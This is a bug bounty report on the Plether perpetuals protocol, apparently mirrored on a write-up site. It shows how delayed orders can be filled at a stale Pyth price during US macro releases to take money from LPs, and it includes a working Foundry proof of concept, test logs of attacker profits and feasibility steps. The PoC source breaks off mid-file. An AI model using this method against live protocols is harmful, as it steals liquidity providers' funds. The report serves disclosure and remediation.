Delayed orders fill at a stale Pyth tick at macro releases: repeatable, net-profitable LP extraction
Delayed orders fill at the first Pyth price tick published after the commit second, which at scheduled US macro releases still carries the pre-release price. A trader who knows the release headline can commit inside the release second, get filled at the stale price, and close seconds later at the post-release price, with LP capital in HousePool paying the move.
- Disclosed after under an hour
#97906 [SC-Critical] Delayed orders fill at a stale Pyth tick at macro releases: repeatable, net-profitable LP extraction
Submitted on Nov 3rd 2026 at 20:21:22 UTC by @Mclovin for Audit Competition | Plether
- Report ID: #97906
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-plether/tree/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Severity: Critical Commit: a82d4fefb02768e5b3bddcc97dee371eee24fea8
Impact (program list): Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Brief / Intro
A delayed order fills at the first Pyth tick published after its commit second, with no minimum delay. At scheduled
US macro releases (8:30 New York) that tick still carries the pre-release price; Pyth FX shows the release one to three
seconds later. A trader who has the release headline commits inside the release second, is filled at the stale price,
and closes a few seconds later at the post-release price. LP capital in HousePool pays the move. The steps are
ordinary public calls (commitOrder; any keeper's executeOrder), and no privileged role, oracle manipulation or
sequencer misbehaviour is involved.
The release-second staleness is systematic, not a coincidence.
- On all five 12:30 UTC releases in September-October 2026 with a move of 5 bps or more, the Pyth tick for the second after the release equals the pre-release tick, and the move prints at T+2/T+3.
- On the 36 ordinary weekdays in that period, the same second moves at most 2.8 bps.
- Replaying the real ticks of three releases through the production order path nets the attacker +1,252.60 to +3,404.53 USDG per release on a 2.40M USDG position, and LPs lose 2,213.00 to 4,364.89 USDG.
- The same trade committed two seconds later loses money every time.
The protocol's own design source says this delay is far too short. The whitepaper calls delayed settlement "a recognized defense against oracle latency exploitation" and cites Synthetix SIP-285 for it. SIP-285 measured Pyth at "about 1 second of latency relative to Binance" (2022, crypto feeds), and for that reason sets the settlement delay threshold at "12 seconds initially … an average realized delay of 6 seconds". Plether's delay is under one second.
Relation to the known issue HIGH-1. The program lists Cecuro HIGH-1 (Arbitrum and Pyth clock alignment) and states: "A new report on this root cause is valid only with a proof of concept showing a repeatable, net-profitable extraction from LPs beyond this limitation." The client's severity adjustment in the Cecuro report reads: "the next tick is unknown and could favor either side. A higher severity would require evidence that the timing window is usable and gives traders an exploitable pricing advantage at LP expense." This report is that evidence, and it does not depend on HIGH-1's precondition:
- HIGH-1 needs the sequencer clock to trail Pyth so that an already-published tick qualifies.
- Here the clocks can be perfectly aligned. Pyth's own metadata for the fill tick on all three replayed releases
(
prev_publish_time = T,proof_available_time = T+1) shows it did not exist during the commit second. - The next tick is not unknown: at releases it is predictably stale, and it favours the informed side.
Vulnerability Details
- The fill is the first tick after the commit second, and nobody can choose another.
OrderLifecycleBookstampscommitTimestamp: uint64(block.timestamp)(OrderLifecycleBook.sol:294).PletherOracle._resolveHistoricalOrderBasketsetsminPublishTime = request.commitTime + 1and callspyth.parsePriceFeedUpdatesUnique(data, ids, minPublishTime, min(commitTime + orderSettlementWindow, block.timestamp))(PletherOracle.sol:610-616;orderSettlementWindow = 15, :87). Uniqueness (prevPublishTime < minPublishTime) makes the oracle take exactly the first update after the commit second, whatever the keeper supplies. There is no minimum delay.- The PoC asserts the oracle picked T+1 in all three attack tests (
engine.lastMarkTime() == T + 1). The keeper's payloads always contain ticks from T−2 to T+5. - A keeper installing the post-release T+3 mark before execution leaves the fill unchanged: entry prices 97,398,257 and 99,452,880 with and without the refresh.
- The PoC asserts the oracle picked T+1 in all three attack tests (
- At scheduled releases that tick is stale. Pyth Benchmarks returns one FX update per second, each with
prev_publish_time = publish_time − 1. At releases the update for second T+1 still carries the pre-release price (data below), and the move appears at T+2/T+3. - No other control intervenes.
- Binding orders and FIFO only fix the tick; they don't delay it.
- The 10-bps basket confidence gate (PletherOracle.sol:869-873) passes the calm T+1 tick (basket confidence 0.6-1.0 bps).
- The T+2 tick is rejected by the gate on both payroll days (12.4 and 14.1 bps on the two-feed floor). On the three other releases it passes (3.4-5.4 bps), but it already carries most of the move (e.g. −10.2 of −15.3 bps on 09-11). So the edge belongs to a commit inside the release second.
- The exit is an ordinary close. A full close committed seconds later fills at the post-release tick. VPI paid at open is refunded at close (lifetime clamp), so the round trip costs two 4-bps execution fees, a sub-bp confidence shift and a sub-bp VPI residual.
Documented claims this disproves (in-scope documentation)
- WHITEPAPER.md:1004-1006: "Delayed settlement is a recognized defense against oracle latency exploitation, while finite settlement windows limit the option value given to the trader [5,15]." Reference [15] is SIP-285 (above).
- WHITEPAPER.md:1893-1894: "Delayed execution reduces the advantage from oracle latency."
- SECURITY.md:658-659: "binding order semantics and the lack of a user cancellation path prevent traders from turning queued intents into free options". A commit inside the release second is such an option: the price is fixed before the information reaches the oracle, and the direction is already known.
- Cecuro HIGH-1, client severity adjustment: "the next tick is unknown and could favor either side".
Evidence (real data)
Pyth Benchmarks, EUR/USD and USD/JPY (57.6% + 13.6% of the basket). Basket = Plether's formula, with the other four components at their base prices:
| Release, 12:30:00 UTC | EUR/USD at T | EUR/USD at T+1 (fill) | T+1 update (Pyth metadata) | basket T+1 → T+4 |
|---|---|---|---|---|
| 2026-09-04 payrolls | 1.16263 | 1.16263 | publish T+1, prev T, proof_available T+1 | −22.5 bps |
| 2026-09-11 CPI | 1.15968 | 1.15975 | publish T+1, prev T, proof_available T+1 | −15.3 bps |
| 2026-10-02 payrolls | 1.12331 | 1.12331 | publish T+1, prev T, proof_available T+1 | +15.7 bps |
| 2026-10-14 (12:30 UTC release) | (census) | stale (Δ 0.16 bps vs T) | — | −14.9 bps |
| 2026-10-15 (12:30 UTC release) | (census) | stale (Δ 0.34 bps vs T) | — | −6.7 bps |
Census of every weekday 12:30:00 UTC from 2026-09-01 to 2026-10-30: these five are the only seconds with a move of 5 bps or more. On the 36 other days with data, the move T+1 → T+4 is at most 2.8 bps, and at most 0.5 bps on 33 of them. Four days returned no data from the API, including 10-02, which was fetched separately.
Public millisecond FX ticks (Dukascopy datafeed, all six basket pairs).
- At +1,000 ms EUR/USD is still at the pre-release price on all five days.
- EUR/USD jumps at about +1.27 s (09-04), +1.31 s (09-11), +1.41 s (10-02), +1.37-1.58 s (10-14) and +1.29 s (10-15).
- The six-pair move by +2 s is −26.2 / −17.8 / +21.3 / −15.8 / −5.7 bps.
- Two consequences:
- the shock is USD-wide; the two-feed figures understate the basket move on four of the five releases (ratio 1.06-1.36×; 0.85× on 10-15);
- aggregated retail feeds lag the release much as Pyth does, so the attacker's input is the headline itself (see Feasibility), not a visible price.
Arbitrum clock. We read 979 on-chain Pyth updates on Arbitrum One. They were all crypto feeds: no update for the six
FX feeds appeared in the ten sampled windows. publishTime − block.timestamp ∈ {−2, −1, 0}, never ≥ 1, so in this
sample no block timestamp trailed an already-published Pyth tick, i.e. HIGH-1's precondition did not occur. The
finding needs no skew. A trailing clock would only stamp the commit earlier, and the order would still fill at a
pre-release tick.
Impact
Each scheduled release lets an informed trader take the release move on up to 40% of pool depth (the skew cap) at a
price fixed before the move. LPs are the counterparty, so the move is paid out of HousePool LP capital. Measured on
real ticks at 2.40M USDG notional (30% of an 8M USDG pool):
| Release | Attacker net (USDG) | LPs (USDG) | Treasury fees (USDG) |
|---|---|---|---|
| 2026-10-02 payrolls, SHORT | +1,983.84 | −2,944.35 | 960.31 |
| 2026-09-04 payrolls, LONG | +3,404.53 | −4,364.89 | 960.16 |
| 2026-09-11 CPI, LONG | +1,252.60 | −2,213.00 | 960.20 |
| Same three, other four feeds moving with EUR/USD (USD-wide shock) | +3,691.39 / +5,479.25 / +2,476.33 | −4,651.89 / −6,439.61 / −3,436.77 | ~960 |
| Control: same trade committed at T+2 (fill T+3) | −1,704.09 / −1,929.16 / −2,196.10 | +742.11 / +970.94 / +1,237.09 | ~960 |
Plether's LONG profits when the basket price falls (USD strengthens) and SHORT when it rises (CfdTypes.sol:14).
Size.
- Per release, LPs lose 2.8-8.0 bps of total LP NAV at 30% skew use. With about two large releases a month, that is roughly 0.7-2% of LP NAV per year. It repeats at every release, and no position is held longer than about ten seconds.
- Projection (linear in depth, not a measurement): at the release Senior cap (40M Senior at the 80% share, so about 50M of LP capital) and the same 30% skew use, LPs would lose about 13.8k-27.3k USDG per release on the two-feed figures, or about 21.5k-40.2k with the USD-wide move.
Attacker risk is bounded.
- A misread headline costs the move plus two fees, and the attacker can trade only clear surprises.
- A commit that slips into the next second meets a T+2 tick that is either gated (no fill) or already moved.
- Wide confidence on the unseen components at T+1 means no fill (tested).
Feasibility (what a real attacker needs)
- The headline within about half a second of 8:30:00.000 New York. The release schedule is public, and the Bureau of Labor Statistics publishes at 8:30:00. Commercial machine-readable economic-data feeds, standard for FX trading desks, deliver the number within milliseconds (industry practice; not measured here). Free retail price feeds are not fast enough: Dukascopy shows the move only at about +1.3 s.
- One transaction in an Arbitrum block stamped with the release second.
- Blocks are 250 ms apart.
- A normal transaction waits 200 ms under Timeboost; an express-lane bid removes that wait.
- The commit needs no oracle data.
- That leaves roughly 0.5-0.7 s after the headline.
- Nothing else.
- Any keeper executes the open, and its fill price is fixed by the contract. The protocol's own keeper executes queued orders in normal operation; the attacker can also run its own keeper with a commercial Pyth data subscription.
- The close is an ordinary order.
- Capital is margin (the PoC posts 1% of notional; the minimum is 0.2%) plus the VPI that is refunded at close and the fees: about 30k USDG for the 2.4M position above.
The program states that feasibility limitations "do not change the impact or severity of a finding, only the amount paid for it".
Scope and rules
- Assets.
- Root cause:
PletherOracle.solandOrderLifecycleBook.sol, under the asset "All other contracts, libraries, router contracts and interfaces in packages/perps/src". Neither is one of the six excluded view contracts. - Funds lost: LP USDG held by
HousePool.sol(asset "HousePool.sol - Holds active LP USDG").
- Root cause:
- "Incorrect data supplied by third party oracles." Not applicable.
- Every price used is Pyth's correct aggregate for its publish second.
- The defect is Plether's settlement rule, which fixes the fill to a tick taken before release information can reach the oracle.
- The whitepaper itself names oracle latency as the risk that delayed settlement is meant to defend against.
- Privileged or compromised roles (admin, operator, sequencer, prover, guardian, governance). None.
- The sequencer behaves honestly, and the keeper is unrelated.
- The PoC's one owner action, the documented 72-hour oracle rotation in
setUp, only installs the release 6-feed oracle configuration. The shared test base deploys a 2-feed oracle; the release deployment uses the 6-feed oracle from the start.
- Known issues.
- HIGH-1: its stated condition is met, and the mechanism is distinct (above).
- SECURITY.md:709-712 says "The implementation adds no fixed delay to compensate for this clock mismatch." That sentence addresses the clock mismatch. It does not say settlement may fill at a tick that is predictably stale with the clocks aligned, and the program's HIGH-1 entry makes a repeatable, net-profitable LP-extraction PoC valid on this root cause.
- Pre-audit SC-M4 ("Risk Free Option in 60Sec Oracle Window", marked fixed) concerned a keeper choosing a tick
inside a 60 s window. The rule that replaced the window is the first-unique-tick parse now in
_resolveHistoricalOrderBasket. To the extent triage maps this report to SC-M4, it shows that the fix at commit a82d4fefb02768e5b3bddcc97dee371eee24fea8 is incomplete: at scheduled releases the first unique tick is stale. - No finding in the Cecuro, AI-scan, pre-audit, collaborative or Cantina reports, and no line in SECURITY.md, ACCOUNTING_SPEC.md or ORACLE_SYNCHRONIZATION.md, mentions releases, news or Pyth aggregation lag.
- Not economic, liquidity or Sybil. Single account, ordinary order sizes, and no market manipulation: the attacker moves no price.
- Testing. Local only.
- Price history was read from Pyth's Benchmarks API (GET requests with an API key) and Dukascopy's public files.
- The Arbitrum clock check used read-only
eth_getLogson a public RPC. - No transaction was sent to any network, oracle or third-party contract.
Recommendation
Enforce a minimum settlement delay: fill at the first unique tick with publishTime ≥ commitTime + minDelay, i.e. set
minPublishTime = commitTime + minDelay in _resolveHistoricalOrderBasket.
- Choose
minDelayabove Pyth's FX release lag. The data shows at least 3 s; SIP-285's 12-second threshold is the conservative reference. - Optionally also add a governance-configured release window (the calendar already supports UTC-day overrides) during which opens are held or charged a release spread.
Classification
- Bug class: oracle latency arbitrage. The settlement delay is shorter than the oracle's lag behind scheduled public information.
- Who can exploit it: any unprivileged trader with a real-time economic-data feed.
- Not required: keeper role, owner or guardian action, oracle manipulation, mempool access, sequencer clock skew.
Proof of Concept
Proof of Concept
Save the source below as packages/perps/test/fresh/lead/NewsTickLag.t.sol. From packages/perps:
FOUNDRY_FFI=false FOUNDRY_TEST=test/fresh/lead forge test --match-contract NewsTickLagTest -vv
(FOUNDRY_TEST limits compilation to this test and its imports; a plain forge test --match-contract NewsTickLagTest -vv also works but compiles the whole suite under via_ir.)
Setup.
- Release engine risk parameters: repo-root
script/DeployPerpsArbitrumSepolia.s.sol:434-446. These match the release parameters in DEPLOYMENT.md. - The release 6-feed basket: feed ids, quantities, bases and inversions from the same script, with the release wrapper's
adverseConfidenceMultiplierBps = 2500and the 10-bps confidence gate. - Senior capacity 40M / 80%. LPs (6M Senior, 2M Junior) fund the day before the release.
- The chain clock is set to the real release timestamps, so the market calendar is live.
MockPythexplicit payloads carry the real per-second EUR/USD and USD/JPY updates for T−2..T+8: price, confidence, exponent, andprev = publish − 1as in Pyth's metadata. The oracle's own unique parse selects the fill tick; the test never picks it.- An unrelated
KEEPERexecutes every order; the attacker only commits.
Tests (13/13 pass):
| Test | Shows |
|---|---|
test_Attack_{Oct02,Sep04,Sep11CPI}_CommitInReleaseSecond |
commit at T, fill at T+1 (asserted), net profit, LP loss |
test_Control_{Oct02,Sep04,Sep11CPI}_CommitAfterPythShowsMove |
the same trade committed at T+2 fills at T+3 and loses |
test_Robust_{Oct02,Sep04}_KeeperRefreshAtT3First |
a keeper installs the T+3 mark first: same stale fill, same profit |
test_Scenario_{Oct02,Sep04,Sep11CPI}_OthersFollowEur |
GBP, CAD, SEK and CHF move with EUR/USD (USD-wide shock): larger profit |
test_Sensitivity_Oct02_OthersConf25bpsAtFill |
the four unseen feeds at 25 bps confidence at T+1 (about 25× normal): still fills |
test_Sensitivity_Oct02_OthersConf40bpsAtFill_NoFill |
at 40 bps the gate rejects the tick: no fill, no loss |
Output of the final run (13/13 pass):
Ran 13 tests for test/fresh/lead/NewsTickLag.t.sol:NewsTickLagTest
[PASS] test_Attack_Oct02_CommitInReleaseSecond() (gas: 7134812)
Logs:
ATTACK 2026-10-02 SHORT committed at T (12:30:00)
notional (USDG atoms) 2400576290037
entry price (8 dec) 97398257
engine mark publish time after open 1790944201
attacker net (USDG atoms)
1983843680
LP pool accounted delta (USDG atoms)
-2944351534
treasury fees (USDG atoms) 960307854
-- after open: treasury 960307854
attacker clearinghouse delta / LP delta after open:
-4561916782
3601408928
exit mark (8 dec) 97559050
[PASS] test_Attack_Sep04_CommitInReleaseSecond() (gas: 7132016)
Logs:
ATTACK 2026-09-04 LONG committed at T (12:30:00)
notional (USDG atoms) 2400545054824
entry price (8 dec) 99452880
engine mark publish time after open 1788525001
attacker net (USDG atoms)
3404527207
LP pool accounted delta (USDG atoms)
-4364885091
treasury fees (USDG atoms) 960157884
-- after open: treasury 960157884
attacker clearinghouse delta / LP delta after open:
-4560642045
3600284161
exit mark (8 dec) 99229148
[PASS] test_Attack_Sep11CPI_CommitInReleaseSecond() (gas: 7132865)
Logs:
ATTACK 2026-09-11 CPI LONG committed at T (12:30:00)
notional (USDG atoms) 2400508048800
entry price (8 dec) 99498347
engine mark publish time after open 1789129801
attacker net (USDG atoms)
1252602471
LP pool accounted delta (USDG atoms)
-2213001318
treasury fees (USDG atoms) 960198847
-- after open: treasury 960198847
attacker clearinghouse delta / LP delta after open:
-4560990212
3600591365
exit mark (8 dec) 99363921
[PASS] test_Control_Oct02_CommitAfterPythShowsMove() (gas: 7156417)
Logs:
CONTROL 2026-10-02 SHORT committed at T+2
notional (USDG atoms) 2400576290037
entry price (8 dec) 97547776
engine mark publish time after open 1790944203
attacker net (USDG atoms)
-1704091453
LP pool accounted delta (USDG atoms)
742109401
treasury fees (USDG atoms) 961782052
-- after open: treasury 961782052
attacker clearinghouse delta / LP delta after open:
-4574456730
3612474678
exit mark (8 dec) 97559050
[PASS] test_Control_Sep04_CommitAfterPythShowsMove() (gas: 7161596)
Logs:
CONTROL 2026-09-04 LONG committed at T+2
notional (USDG atoms) 2400545054824
entry price (8 dec) 99231142
engine mark publish time after open 1788525003
attacker net (USDG atoms)
-1929156888
LP pool accounted delta (USDG atoms)
970939751
treasury fees (USDG atoms) 958017137
-- after open: treasury 958017137
attacker clearinghouse delta / LP delta after open:
-4542464963
3584247826
exit mark (8 dec) 99229148
[PASS] test_Control_Sep11CPI_CommitAfterPythShowsMove() (gas: 7162850)
Logs:
CONTROL 2026-09-11 CPI LONG committed at T+2
notional (USDG atoms) 2400508048800
entry price (8 dec) 99354914
engine mark publish time after open 1789129803
attacker net (USDG atoms)
-2196099774
LP pool accounted delta (USDG atoms)
1237085112
treasury fees (USDG atoms) 958814662
-- after open: treasury 958814662
attacker clearinghouse delta / LP delta after open:
-4549232561
3590217899
exit mark (8 dec) 99363921
[PASS] test_Robust_Oct02_KeeperRefreshAtT3First() (gas: 7269313)
Logs:
ROBUST 2026-10-02 SHORT, keeper refreshed mark at T+3 before the open executed
notional (USDG atoms) 2400576290037
entry price (8 dec) 97398257
engine mark publish time after open 1790944203
attacker net (USDG atoms)
1983843680
LP pool accounted delta (USDG atoms)
-2944351534
treasury fees (USDG atoms) 960307854
-- after open: treasury 960307854
attacker clearinghouse delta / LP delta after open:
-4561916782
3601408928
exit mark (8 dec) 97559050
[PASS] test_Robust_Sep04_KeeperRefreshAtT3First() (gas: 7266430)
Logs:
ROBUST 2026-09-04 LONG, keeper refreshed mark at T+3 before the open executed
notional (USDG atoms) 2400545054824
entry price (8 dec) 99452880
engine mark publish time after open 1788525003
attacker net (USDG atoms)
3404527207
LP pool accounted delta (USDG atoms)
-4364885091
treasury fees (USDG atoms) 960157884
-- after open: treasury 960157884
attacker clearinghouse delta / LP delta after open:
-4560642045
3600284161
exit mark (8 dec) 99229148
[PASS] test_Scenario_Oct02_OthersFollowEur() (gas: 7169864)
Logs:
SCENARIO 2026-10-02 SHORT, other four feeds follow EUR/USD
notional (USDG atoms) 2400526844143
entry price (8 dec) 97398257
engine mark publish time after open 1790944201
attacker net (USDG atoms)
3691385388
LP pool accounted delta (USDG atoms)
-4651893242
treasury fees (USDG atoms) 960307854
-- after open: treasury 960307854
attacker clearinghouse delta / LP delta after open:
-4561916782
3601408928
exit mark (8 dec) 97628355
[PASS] test_Scenario_Sep04_OthersFollowEur() (gas: 7168264)
Logs:
SCENARIO 2026-09-04 LONG, other four feeds follow EUR/USD
notional (USDG atoms) 2400581403640
entry price (8 dec) 99452880
engine mark publish time after open 1788525001
attacker net (USDG atoms)
5479251720
LP pool accounted delta (USDG atoms)
-6439609604
treasury fees (USDG atoms) 960157884
-- after open: treasury 960157884
attacker clearinghouse delta / LP delta after open:
-4560642045
3600284161
exit mark (8 dec) 99142967
[PASS] test_Scenario_Sep11CPI_OthersFollowEur() (gas: 7166999)
Logs:
SCENARIO 2026-09-11 CPI LONG, other four feeds follow EUR/USD
notional (USDG atoms) 2400571815513
entry price (8 dec) 99498347
engine mark publish time after open 1789129801
attacker net (USDG atoms)
2476329398
LP pool accounted delta (USDG atoms)
-3436768045
treasury fees (USDG atoms) 960238647
-- after open: treasury 960238647
attacker clearinghouse delta / LP delta after open:
-4561328501
3600889854
exit mark (8 dec) 99313072
[PASS] test_Sensitivity_Oct02_OthersConf25bpsAtFill() (gas: 7151645)
Logs:
SENSITIVITY 2026-10-02 SHORT, other four feeds at 25 bps confidence at T+1
notional (USDG atoms) 2400576290037
entry price (8 dec) 97412100
engine mark publish time after open 1790944201
attacker net (USDG atoms)
1642491087
LP pool accounted delta (USDG atoms)
-2603135428
treasury fees (USDG atoms) 960444341
-- after open: treasury 960444341
attacker clearinghouse delta / LP delta after open:
-4563077062
3602432721
exit mark (8 dec) 97559050
[PASS] test_Sensitivity_Oct02_OthersConf40bpsAtFill_NoFill() (gas: 3894220)
Suite result: ok. 13 passed; 0 failed; 0 skipped; finished in 30.95ms (207.67ms CPU time)
Full PoC source (packages/perps/test/fresh/lead/NewsTickLag.t.sol):
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {BasePerpTest} from "../../perps/BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {PletherOracle} from "@plether/perps/PletherOracle.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {console2} from "forge-std/console2.sol";
/// @dev Same wrapper as script/DeployPerpsArbitrumSepolia.s.sol:87-100 (release oracle: adverse multiplier 2500).
contract ReleaseOracleForTest is PletherOracle {
constructor(
address engine,
address housePool,
address pyth,
bytes32[] memory feedIds,
uint256[] memory quantities,
uint256[] memory basePrices,
bool[] memory inversions
) PletherOracle(engine, housePool, pyth, feedIds, quantities, basePrices, inversions) {
adverseConfidenceMultiplierBps = 2500;
}
}
/// @notice Stale Pyth fill tick at scheduled macro releases. Delayed orders fill at the first Pyth tick whose
/// publishTime > commitTime (PletherOracle.sol:610, commitTime = block.timestamp at commit,
/// OrderLifecycleBook.sol:294). At scheduled US macro releases (8:30 New York) the Pyth FX tick for
/// release-second + 1 is still the pre-release price; the move prints one to three seconds later. A trader who
/// commits inside the release second (direction known from the headline) is filled at the stale tick and
/// exits seconds later at LP expense.
/// Price data = REAL Pyth Benchmarks ticks for EUR/USD and USD/JPY (57.6% + 13.6% of the basket) around the
/// 2026-09-04 and 2026-10-02 payroll releases and the 2026-09-11 CPI release. GBP/CAD/SEK/CHF (28.8%) are held
/// constant at their base prices unless a scenario test says otherwise (the authors' Pyth key is not entitled to
/// them); holding them constant UNDERSTATES the basket move in a USD-wide shock.
/// Release config: production risk params, the deploy script's 6-feed basket (ids, quantities, bases,
/// inversions; installed in setUp through the documented oracle rotation only because the shared test base
/// deploys a 2-feed oracle), release adverse multiplier 2500, confidence gate 10 bps. MockPyth applies Pyth's
/// uniqueness rule (prev < min <= publish <= max), and every execution payload deliberately contains several
/// consecutive real ticks: the oracle, not the test, picks the fill tick. The keeper is an unrelated address;
/// the attacker only commits.
contract NewsTickLagTest is BasePerpTest {
// ------------------------------------------------------------------ release basket (deploy script :147-166)
bytes32 internal constant ID_EUR = 0xa995d00bb36a63cef7fd2c287dc105fc8f3d93779f062f09551b0af3e81ec30b;
bytes32 internal constant ID_JPY = 0xef2c98c804ba503c6a707e38be4dfbb16683775f195b091252bf24693042fd52;
bytes32 internal constant ID_GBP = 0x84c2dde9633d93d1bcad84e7dc41c9d56578b7ec52fabedc1f335d673df0a7c1;
bytes32 internal constant ID_CAD = 0x3112b03a41c910ed446852aacf67118cb1bec67b2cd0b9a214c58cc0eaa2ecca;
bytes32 internal constant ID_SEK = 0x8ccb376aa871517e807358d4e3cf0bc7fe4950474dbe6c9ffc21ef64e43fc676;
bytes32 internal constant ID_CHF = 0x0b1e3297e69f162877b577b0d6a47a0d63b2392bc8499e6540da4187a63e28f8;
// Constant components at their base prices (expo -5), ~1 bp confidence.
int64 internal constant GBP_PX = 134_480; // 1.34480 GBP/USD
int64 internal constant CAD_PX = 137_212; // 1.37212 USD/CAD = 1 / 0.7288
int64 internal constant SEK_PX = 920_810; // 9.20810 USD/SEK = 1 / 0.1086
int64 internal constant CHF_PX = 79_302; // 0.79302 USD/CHF = 1 / 1.261
address internal constant SENIOR_LP = address(0x5E01);
address internal constant JUNIOR_LP = address(0x1E01);
address internal constant ATTACKER = address(0xA77A);
address internal constant KEEPER = address(0xBEEF);
// ------------------------------------------------------------------ real ticks, index i = second T + (i - 2)
// OCT: T = 1790944200 = 2026-10-02 12:30:00 UTC (8:30 EDT, September payrolls), Pyth Benchmarks, EUR expo -5, JPY -3
uint256 internal constant OCT_T = 1_790_944_200;
int64[15] internal OCT_EUR = [int64(112323), int64(112326), int64(112331), int64(112331), int64(112536), int64(112572), int64(112582), int64(112602), int64(112601), int64(112574), int64(112541), int64(112516), int64(112495), int64(112470), int64(112428)];
uint64[15] internal OCT_EUR_CONF = [uint64(4), uint64(5), uint64(9), uint64(11), uint64(207), uint64(20), uint64(31), uint64(13), uint64(15), uint64(10), uint64(9), uint64(13), uint64(11), uint64(14), uint64(20)];
int64[15] internal OCT_JPY = [int64(157571), int64(157563), int64(157547), int64(157549), int64(157274), int64(157210), int64(157204), int64(157200), int64(157195), int64(157215), int64(157332), int64(157339), int64(157359), int64(157354), int64(157393)];
uint64[15] internal OCT_JPY_CONF = [uint64(24), uint64(17), uint64(21), uint64(22), uint64(224), uint64(99), uint64(28), uint64(18), uint64(16), uint64(24), uint64(26), uint64(25), uint64(17), uint64(16), uint64(30)];
// SEP: T = 1788525000 = 20
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the settlement rule sets the minimum fill time to only one second after commit, so the first unique price tick can be one published before the release information reached the oracle.
Impact
Each scheduled release could let an informed trader take the release move on up to 40% of pool depth, with LPs losing roughly 2.8-8.0 bps of LP NAV per release; the confidence gate blocks the trade only when unseen feeds are unusually wide.
What the attacker needed
A real-time economic-data feed; commit inside the release second; margin and fees (~30k USDG); no privileged role needed
The fix
It should be fixed by enforcing a minimum settlement delay so the fill uses the first tick published at least a few seconds after commit.
How it was found
- Commit an order inside the release second, before the price feed shows the move.
- Let any keeper execute the order; it fills at the first tick after the commit second, which is stale.
- Close the position seconds later at the post-release tick to realise the profit.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The protocol lets traders place orders that are filled a moment later using a price feed. At fixed times each month, big economic numbers are published and prices move almost instantly, but the feed the protocol reads still shows the old price for a second or two. Someone who sees the number first can lock in the old price and profit from the move, and the pool that backs trades loses that money.